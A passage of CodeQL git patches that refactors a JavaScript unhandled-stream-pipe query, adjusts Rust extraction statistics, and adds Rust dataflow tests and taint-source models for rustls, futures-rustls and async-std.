pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { +private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { t.start() and result = pipe.getALocalSource() or exists(DataFlow::SourceNode prev | - prev = pipeResultTracker(t.continue(), pipe) and + prev = destinationStreamRef(t.continue(), pipe) and streamFlowStep(result.getALocalUse(), prev) ) or - exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) + exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) } /** * Gets a reference to the result of a pipe call. */ -private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { - result = pipeResultTracker(DataFlow::TypeTracker::end(), pipe) +private DataFlow::SourceNode destinationStreamRef(PipeCall pipe) { + result = destinationStreamRef(DataFlow::TypeTracker::end(), pipe) } /** @@ -162,9 +165,9 @@ private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { * Since pipe() returns the destination stream, this finds cases where * the destination stream is used with methods not typical of streams. */ -predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { exists(DataFlow::MethodCallNode call | - call = pipeResultRef(pipeCall).getAMethodCall() and + call = destinationStreamRef(pipeCall).getAMethodCall() and not call.getMethodName() = getStreamMethodName() ) } @@ -172,9 +175,9 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { /** * Holds if the pipe call result is used to access a property that is not typical of streams. */ -predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { exists(DataFlow::PropRef propRef | - propRef = pipeResultRef(pipeCall).getAPropertyRead() and + propRef = destinationStreamRef(pipeCall).getAPropertyRead() and not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] ) } @@ -183,7 +186,7 @@ predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { * Holds if the pipe call result is used in a non-stream-like way, * either by calling non-stream methods or accessing non-stream properties. */ -predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { isPipeFollowedByNonStreamMethod(pipeCall) or isPipeFollowedByNonStreamProperty(pipeCall) } @@ -192,51 +195,52 @@ predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. */ -private DataFlow::SourceNode streamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { +private DataFlow::SourceNode sourceStreamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { t.start() and result = pipeCall.getSourceStream().getALocalSource() or exists(DataFlow::SourceNode prev | - prev = streamRef(t.continue(), pipeCall) and + prev = sourceStreamRef(t.continue(), pipeCall) and streamFlowStep(result.getALocalUse(), prev) ) or - exists(DataFlow::TypeBackTracker t2 | result = streamRef(t2, pipeCall).backtrack(t2, t)) + exists(DataFlow::TypeBackTracker t2 | result = sourceStreamRef(t2, pipeCall).backtrack(t2, t)) } /** * Gets a reference to a stream that may be the source of the given pipe call. */ -private DataFlow::SourceNode streamRef(PipeCall pipeCall) { - result = streamRef(DataFlow::TypeBackTracker::end(), pipeCall) +private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { + result = sourceStreamRef(DataFlow::TypeBackTracker::end(), pipeCall) } /** * Holds if the source stream of the given pipe call has an `error` handler registered. */ -predicate hasErrorHandlerRegistered(PipeCall pipeCall) { +private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { exists(ErrorHandlerRegistration handler | - handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) + handler = sourceStreamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) ) or hasPlumber(pipeCall) } /** - * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. + * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. + * Gulp-plumber is a Node.js module that prevents pipe breaking caused by errors from gulp plugins. */ -predicate hasPlumber(PipeCall pipeCall) { +private predicate hasPlumber(PipeCall pipeCall) { pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() or - streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() + sourceStreamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } /** * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. */ -predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { - streamRef(pipeCall) = getNonNodeJsStreamType() or - pipeResultRef(pipeCall) = getNonNodeJsStreamType() +private predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + sourceStreamRef(pipeCall) = getNonNodeJsStreamType() or + destinationStreamRef(pipeCall) = getNonNodeJsStreamType() } /** @@ -244,13 +248,13 @@ predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { */ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { exists(DataFlow::MethodCallNode call, string name | - call.getReceiver().getALocalSource() = streamRef(pipeCall) and + call.getReceiver().getALocalSource() = sourceStreamRef(pipeCall) and name = call.getMethodName() and not name = getStreamMethodName() ) or exists(DataFlow::PropRef propRef, string propName | - propRef.getBase().getALocalSource() = streamRef(pipeCall) and + propRef.getBase().getALocalSource() = sourceStreamRef(pipeCall) and propName = propRef.getPropertyName() and not propName = [getStreamPropertyName(), getStreamMethodName()] ) @@ -259,9 +263,9 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { /** * Holds if the pipe call destination stream has an error handler registered. */ -predicate hasErrorHandlerDownstream(PipeCall pipeCall) { +private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { exists(ErrorHandlerRegistration handler | - handler.getReceiver().getALocalSource() = pipeResultRef(pipeCall) + handler.getReceiver().getALocalSource() = destinationStreamRef(pipeCall) ) } From d3b2a57fbfd0e16e39482f3bfc08095580d69e5b Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:34:16 +0200 Subject: [PATCH 091/271] Fixed ql warning `Expression can be replaced with a cast` --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index f5d9da6bb58..2c5716ef527 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -218,9 +218,7 @@ private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - exists(ErrorHandlerRegistration handler | - handler = sourceStreamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) - ) + sourceStreamRef(pipeCall).getAMethodCall(_) instanceof ErrorHandlerRegistration or hasPlumber(pipeCall) } From 62d0cf7e0d92434219a83a8adb99ede67dcbba9d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 28 May 2025 19:55:13 +0200 Subject: [PATCH 092/271] Rust: restrict line and file counts to include only extracted source files --- rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql | 2 +- rust/ql/src/queries/summary/Stats.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql index 23db30f53e9..6f5feb3ea54 100644 --- a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql +++ b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql @@ -10,7 +10,7 @@ import codeql.files.FileSystem -select count(File f | +select count(ExtractedFile f | exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile ) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index db0a05629df..88411aa2db3 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -35,7 +35,7 @@ int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLines * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(File f | f.fromSource() and exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** From 544af7f7ca92cfaa9ed9a8ffcddf7cbdc857a2be Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 18:39:43 +0100 Subject: [PATCH 093/271] Rust: Add tests for sources involving futures-rustls and futures-io. --- .../dataflow/sources/options.yml | 3 + .../dataflow/sources/test_futures_io.rs | 159 ++++++++++++++++++ 2 files changed, 162 insertions(+) create mode 100644 rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs diff --git a/rust/ql/test/library-tests/dataflow/sources/options.yml b/rust/ql/test/library-tests/dataflow/sources/options.yml index a9d9354529e..a05a970f7b8 100644 --- a/rust/ql/test/library-tests/dataflow/sources/options.yml +++ b/rust/ql/test/library-tests/dataflow/sources/options.yml @@ -13,3 +13,6 @@ qltest_dependencies: - actix-web = { version = "4.10.2" } - axum = { version = "0.8.4" } - serde_json = { version = "1.0.140" } + - rustls = { version = "0.23.27" } + - futures-rustls = { version = "0.26.0" } + - async-std = { version = "1.13.1" } diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs new file mode 100644 index 00000000000..0b006546893 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -0,0 +1,159 @@ +fn sink(_: T) { } + +// --- tests --- + +use std::pin::Pin; +use std::task::{Context, Poll}; +use std::io; +use futures::io::AsyncRead; +use futures::io::AsyncReadExt; +use futures::io::AsyncBufRead; +use futures::io::AsyncBufReadExt; +use futures::StreamExt; +use futures_rustls::{TlsConnector}; +use async_std::sync::Arc; +use async_std::net::TcpStream; + +async fn test_futures_rustls_futures_io() -> io::Result<()> { + let url = "www.example.com:443"; + let tcp = TcpStream::connect(url).await?; // $ MISSING: Alert[rust/summary/taint-sources] + sink(&tcp); // $ MISSING: hasTaintFlow + let config = rustls::ClientConfig::builder() + .with_root_certificates(rustls::RootCertStore::empty()) + .with_no_client_auth(); + let connector = TlsConnector::from(Arc::new(config)); + let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); + let mut reader = connector.connect(server_name, tcp).await?; + sink(&reader); // $ MISSING: hasTaintFlow + + { + // using the `AsyncRead` trait (low-level) + let mut buffer = [0u8; 64]; + let mut pinned = Pin::new(&mut reader); + sink(&pinned); // $ MISSING: hasTaintFlow + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let bytes_read = pinned.poll_read(&mut cx, &mut buffer); + if let Poll::Ready(Ok(n)) = bytes_read { + sink(&buffer); // $ MISSING: hasTaintFlow=url + sink(&buffer[..n]); // $ MISSING: hasTaintFlow=url + } + } + + { + // using the `AsyncReadExt::read` extension method (higher-level) + let mut buffer1 = [0u8; 64]; + let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader, &mut buffer1).await?; + sink(&buffer1[..bytes_read1]); // $ MISSING: hasTaintFlow + + let mut buffer2 = [0u8; 64]; + let bytes_read2 = reader.read(&mut buffer2).await?; + sink(&buffer2[..bytes_read2]); // $ MISSING: hasTaintFlow + } + + let mut reader2 = futures::io::BufReader::new(reader); + sink(&reader2); // $ MISSING: hasTaintFlow + + { + // using the `AsyncBufRead` trait (low-level) + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ MISSING: hasTaintFlow + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let buffer = pinned.poll_fill_buf(&mut cx); + if let Poll::Ready(Ok(buf)) = buffer { + sink(&buffer); // $ MISSING: hasTaintFlow=url + sink(buf); // $ MISSING: hasTaintFlow=url + } + + // using the `AsyncBufRead` trait (alternative syntax) + let buffer2 = Pin::new(&mut reader2).poll_fill_buf(&mut cx); + match (buffer2) { + Poll::Ready(Ok(buf)) => { + sink(&buffer2); // $ MISSING: hasTaintFlow=url + sink(buf); // $ MISSING: hasTaintFlow=url + } + _ => { + // ... + } + } + } + + { + // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) + let buffer = reader2.fill_buf().await?; + sink(buffer); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncRead` trait (low-level) + let mut buffer = [0u8; 64]; + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ MISSING: hasTaintFlow + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let bytes_read = pinned.poll_read(&mut cx, &mut buffer); + sink(&buffer); // $ MISSING: hasTaintFlow=url + if let Poll::Ready(Ok(n)) = bytes_read { + sink(&buffer[..n]); // $ MISSING: hasTaintFlow=url + } + } + + { + // using the `AsyncReadExt::read` extension method (higher-level) + let mut buffer1 = [0u8; 64]; + let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader2, &mut buffer1).await?; + sink(&buffer1[..bytes_read1]); // $ MISSING: hasTaintFlow + + let mut buffer2 = [0u8; 64]; + let bytes_read2 = reader2.read(&mut buffer2).await?; + sink(&buffer2[..bytes_read2]); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncBufRead` trait (low-level) + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ MISSING: hasTaintFlow + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let buffer = pinned.poll_fill_buf(&mut cx); + sink(&buffer); // $ MISSING: hasTaintFlow=url + if let Poll::Ready(Ok(buf)) = buffer { + sink(buf); // $ MISSING: hasTaintFlow=url + } + } + + { + // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) + let buffer = reader2.fill_buf().await?; + sink(buffer); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncBufReadExt::read_until` extension method + let mut line = Vec::new(); + let _bytes_read = reader2.read_until(b'\n', &mut line).await?; + sink(&line); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncBufReadExt::read_line` extension method + let mut line = String::new(); + let _bytes_read = reader2.read_line(&mut line).await?; + sink(&line); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncBufReadExt::read_to_end` extension method + let mut buffer = Vec::with_capacity(1024); + let _bytes_read = reader2.read_to_end(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + // using the `AsyncBufReadExt::lines` extension method + let mut lines_stream = reader2.lines(); + sink(lines_stream.next().await.unwrap()); // $ MISSING: hasTaintFlow + while let Some(line) = lines_stream.next().await { + sink(line.unwrap()); // $ MISSING: hasTaintFlow + } + } + + Ok(()) +} From a5e1702d4b208674ae08997b4ae2995bccab6ff4 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 15 May 2025 17:07:39 +0100 Subject: [PATCH 094/271] Rust: Add tests for sources involving regular rustls as well. --- .../dataflow/sources/TaintSources.expected | 4 +- .../library-tests/dataflow/sources/test.rs | 37 +++++++++++++++++++ 2 files changed, 39 insertions(+), 2 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index da3b69eb050..9f96f4f3f13 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -75,8 +75,8 @@ | test.rs:619:26:619:61 | ...::connect_timeout | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:671:28:671:57 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:753:22:753:49 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | -| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:21:31:21:35 | TuplePat | Flow source 'RemoteSource' of type remote (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 370f3d4c9b6..e6854093bc5 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -770,6 +770,37 @@ async fn test_std_to_tokio_tcpstream() -> std::io::Result<()> { Ok(()) } +fn test_rustls() -> std::io::Result<()> { + let config = rustls::ClientConfig::builder() + .with_root_certificates(rustls::RootCertStore::empty()) + .with_no_client_auth(); + let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); + let config_arc = std::sync::Arc::new(config); + let mut client = rustls::ClientConnection::new(config_arc, server_name).unwrap(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut reader = client.reader(); + sink(&reader); // $ MISSING: hasTaintFlow + + { + let mut buffer = [0u8; 100]; + let _bytes = reader.read(&mut buffer)?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = Vec::::new(); + let _bytes = reader.read_to_end(&mut buffer)?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = String::new(); + let _bytes = reader.read_to_string(&mut buffer)?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + Ok(()) +} + #[tokio::main] async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] @@ -849,5 +880,11 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } + println!("test_rustls..."); + match test_rustls() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + Ok(()) } From b78d51e079e9f0b8ebe15af9a50501da9795c05c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 22 May 2025 11:45:00 +0100 Subject: [PATCH 095/271] Rust: Fix a bug in InlineFlow.ql that was excluding some sinks. --- rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql | 2 +- .../test/library-tests/dataflow/sources/web_frameworks.rs | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql b/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql index 7d5f4fb926f..f0a38e29f19 100644 --- a/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql +++ b/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql @@ -10,7 +10,7 @@ module MyFlowConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source instanceof ThreatModelSource } predicate isSink(DataFlow::Node sink) { - any(CallExpr call | call.getFunction().(PathExpr).getResolvedPath() = "crate::test::sink") + any(CallExpr call | call.getFunction().(PathExpr).getResolvedPath().matches("%::sink")) .getArgList() .getAnArg() = sink.asExpr().getExpr() } diff --git a/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs b/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs index 6bfee08a3d2..f1bf3ab6b0b 100644 --- a/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs +++ b/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs @@ -10,9 +10,9 @@ mod poem_test { #[handler] fn my_poem_handler_1(Path(a): Path) -> String { // $ Alert[rust/summary/taint-sources] - sink(a.as_str()); // $ MISSING: hasTaintFlow - sink(a.as_bytes()); // $ MISSING: hasTaintFlow - sink(a); // $ MISSING: hasTaintFlow + sink(a.as_str()); // $ hasTaintFlow + sink(a.as_bytes()); // $ hasTaintFlow + sink(a); // $ hasTaintFlow "".to_string() } @@ -59,7 +59,7 @@ mod poem_test { fn my_poem_handler_6( Query(a): Query, // $ Alert[rust/summary/taint-sources] ) -> String { - sink(a); // $ MISSING: hasTaintFlow + sink(a); // $ hasTaintFlow "".to_string() } From 13f6de99247dd8dc365e2148dfd6e8f9fdfec4ae Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 15 May 2025 17:31:01 +0100 Subject: [PATCH 096/271] Rust: Add source / basic basic models. --- .../codeql/rust/frameworks/async-rs.model.yml | 6 ++++++ .../lib/codeql/rust/frameworks/futures.model.yml | 1 + .../lib/codeql/rust/frameworks/rustls.model.yml | 12 ++++++++++++ .../dataflow/sources/TaintSources.expected | 2 ++ .../test/library-tests/dataflow/sources/test.rs | 8 ++++---- .../dataflow/sources/test_futures_io.rs | 16 ++++++++-------- 6 files changed, 33 insertions(+), 12 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml create mode 100644 rust/ql/lib/codeql/rust/frameworks/rustls.model.yml diff --git a/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml b/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml new file mode 100644 index 00000000000..2217c30fce3 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/async-rs/async-std:async-std", "::connect", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml index 1361ff9aeb2..2bf444da9c7 100644 --- a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml @@ -4,3 +4,4 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rust-lang/futures-rs:futures-executor", "crate::local_pool::block_on", "Argument[0]", "ReturnValue", "value", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml new file mode 100644 index 00000000000..1244e05dce9 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml @@ -0,0 +1,12 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rustls/rustls:rustls", "::new", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/quininer/futures-rustls:futures-rustls", "::connect", "Argument[1]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/rustls/rustls:rustls", "::reader", "Argument[self]", "ReturnValue", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 9f96f4f3f13..c244167fd80 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -75,8 +75,10 @@ | test.rs:619:26:619:61 | ...::connect_timeout | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:671:28:671:57 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:753:22:753:49 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:779:22:779:50 | ...::new | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | | test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test_futures_io.rs:19:15:19:32 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:21:31:21:35 | TuplePat | Flow source 'RemoteSource' of type remote (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index e6854093bc5..604dc86c6d8 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -776,9 +776,9 @@ fn test_rustls() -> std::io::Result<()> { .with_no_client_auth(); let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); let config_arc = std::sync::Arc::new(config); - let mut client = rustls::ClientConnection::new(config_arc, server_name).unwrap(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut client = rustls::ClientConnection::new(config_arc, server_name).unwrap(); // $ Alert[rust/summary/taint-sources] let mut reader = client.reader(); - sink(&reader); // $ MISSING: hasTaintFlow + sink(&reader); // $ hasTaintFlow=config_arc { let mut buffer = [0u8; 100]; @@ -789,13 +789,13 @@ fn test_rustls() -> std::io::Result<()> { { let mut buffer = Vec::::new(); let _bytes = reader.read_to_end(&mut buffer)?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=config_arc } { let mut buffer = String::new(); let _bytes = reader.read_to_string(&mut buffer)?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=config_arc } Ok(()) diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs index 0b006546893..5dc3bec184d 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -16,21 +16,21 @@ use async_std::net::TcpStream; async fn test_futures_rustls_futures_io() -> io::Result<()> { let url = "www.example.com:443"; - let tcp = TcpStream::connect(url).await?; // $ MISSING: Alert[rust/summary/taint-sources] - sink(&tcp); // $ MISSING: hasTaintFlow + let tcp = TcpStream::connect(url).await?; // $ Alert[rust/summary/taint-sources] + sink(&tcp); // $ hasTaintFlow=url let config = rustls::ClientConfig::builder() .with_root_certificates(rustls::RootCertStore::empty()) .with_no_client_auth(); let connector = TlsConnector::from(Arc::new(config)); let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); let mut reader = connector.connect(server_name, tcp).await?; - sink(&reader); // $ MISSING: hasTaintFlow + sink(&reader); // $ hasTaintFlow=url { // using the `AsyncRead` trait (low-level) let mut buffer = [0u8; 64]; let mut pinned = Pin::new(&mut reader); - sink(&pinned); // $ MISSING: hasTaintFlow + sink(&pinned); // $ hasTaintFlow=url let mut cx = Context::from_waker(futures::task::noop_waker_ref()); let bytes_read = pinned.poll_read(&mut cx, &mut buffer); if let Poll::Ready(Ok(n)) = bytes_read { @@ -51,12 +51,12 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { } let mut reader2 = futures::io::BufReader::new(reader); - sink(&reader2); // $ MISSING: hasTaintFlow + sink(&reader2); // $ hasTaintFlow=url { // using the `AsyncBufRead` trait (low-level) let mut pinned = Pin::new(&mut reader2); - sink(&pinned); // $ MISSING: hasTaintFlow + sink(&pinned); // $ hasTaintFlow=url let mut cx = Context::from_waker(futures::task::noop_waker_ref()); let buffer = pinned.poll_fill_buf(&mut cx); if let Poll::Ready(Ok(buf)) = buffer { @@ -87,7 +87,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { // using the `AsyncRead` trait (low-level) let mut buffer = [0u8; 64]; let mut pinned = Pin::new(&mut reader2); - sink(&pinned); // $ MISSING: hasTaintFlow + sink(&pinned); // $ hasTaintFlow=url let mut cx = Context::from_waker(futures::task::noop_waker_ref()); let bytes_read = pinned.poll_read(&mut cx, &mut buffer); sink(&buffer); // $ MISSING: hasTaintFlow=url @@ -110,7 +110,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { { // using the `AsyncBufRead` trait (low-level) let mut pinned = Pin::new(&mut reader2); - sink(&pinned); // $ MISSING: hasTaintFlow + sink(&pinned); // $ hasTaintFlow=url let mut cx = Context::from_waker(futures::task::noop_waker_ref()); let buffer = pinned.poll_fill_buf(&mut cx); sink(&buffer); // $ MISSING: hasTaintFlow=url From 84c72f68af8b2820e85edb8f7e1e573da699cf51 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 16 May 2025 13:28:22 +0100 Subject: [PATCH 097/271] Rust: Add models for read methods. --- rust/ql/lib/codeql/rust/frameworks/futures.model.yml | 4 ++++ .../library-tests/dataflow/sources/test_futures_io.rs | 10 +++++----- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml index 2bf444da9c7..92affb8dd1f 100644 --- a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml @@ -5,3 +5,7 @@ extensions: data: - ["repo:https://github.com/rust-lang/futures-rs:futures-executor", "crate::local_pool::block_on", "Argument[0]", "ReturnValue", "value", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] + - 